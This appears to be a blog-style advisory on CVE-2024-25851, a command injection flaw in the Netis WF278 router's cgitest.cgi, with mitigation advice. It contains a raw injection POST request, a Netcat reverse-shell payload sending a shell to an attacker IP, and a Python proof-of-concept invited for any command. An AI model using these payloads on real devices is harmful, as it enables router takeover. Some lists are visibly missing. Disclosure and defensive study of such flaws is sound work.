CVE-2024-25851 - Command Injection in Netis WF278 v2.1.40144 via cgitest.cgi (config_sequence)
In early 2024, a critical vulnerability—CVE-2024-25851—was found in the Netis WF278 wireless router, version v2.1.40144. This issue makes it shockingly easy for an attacker to run any system command on the device via a flaw in its web control interface. If your network depends on this router, you should act fast.
In this long-read, we’ll break down what happened, how the exploit works, show you sample code, and provide resources to learn more. This write-up is exclusive: written in simple, direct language for everyone to understand—even if you’re not a security pro.
What is CVE-2024-25851?
CVE-2024-25851 is a command injection vulnerability in the Netis WF278 router (firmware v2.1.40144). The flaw exists in the cgitest.cgi script, specifically in how the web interface processes the config_sequence value in the other_para parameter.
Location of the flaw
- Affected Page: /cgi-bin/cgitest.cgi
Why is this so Dangerous?
Put simply, if someone can access your router’s web interface (often default on LAN, sometimes accessible from WAN if exposed or misconfigured), they could:
How Does the Exploit Work?
The web page lets users modify network settings by sending POST requests. The problem is: it doesn’t sanitize the config_sequence variable, meaning attacker-supplied text (even with dangerous shell commands) gets run by the Linux system inside the router.
1. Send a POST Request
The attacker crafts a malicious HTTP POST request to /cgi-bin/cgitest.cgi, abusing the other_para parameter.
Example POST data (with unsafe payload)
POST /cgi-bin/cgitest.cgi HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 98
other_para=config_sequence=;id;#&another_param=foo
2. Router Executes the Command
The vulnerable script takes whatever is inside config_sequence and sends it straight to the system shell. If the attacker put ;id;, the shell sees a request to run:
id
which returns the user info. The attacker could use any shell command instead (e.g., add a new user, open a reverse shell, download malware, etc.).
3. Getting a Reverse Shell (Full Takeover)
The real danger: an attacker could go beyond id, opening a remote shell to fully take over. For example:
other_para=config_sequence=;nc 192.168.1.100 4444 -e /bin/sh;#
This executes Netcat (nc), making the router connect to the attacker’s system at 192.168.1.100:4444 and hand over a shell.
Here’s a simple Python script you can use for testing (on your own device only)
import requests
router_ip = "192.168.1.1"
url = f"http://{router_ip}/cgi-bin/cgitest.cgi";
payload = "config_sequence=;id;#"
data = {
'other_para': payload
}
r = requests.post(url, data=data)
print(r.text)
Change payload to any other shell command you want to test.
1. Update Your Firmware!
- Netis may offer newer firmware without this bug. Check your vendor’s download page.
2. Block Web Interface from WAN
- Never expose the router’s admin/web page to the internet.
Official References
- NVD Entry: CVE-2024-25851
- Original Disclosure by Chu
- Netis Support – Download Center
Final Thoughts
CVE-2024-25851 is a textbook example of why input validation is essential — a single line of bad code can hand over your whole network to attackers. If you have a Netis WF278 with old firmware, upgrade right away and lock down remote access.
Have questions or want to share what you found? Drop a reply or check the resources above for more info.
Timeline
Published on: 02/22/2024 15:15:08 UTC
Last modified on: 08/29/2024 20:36:22 UTC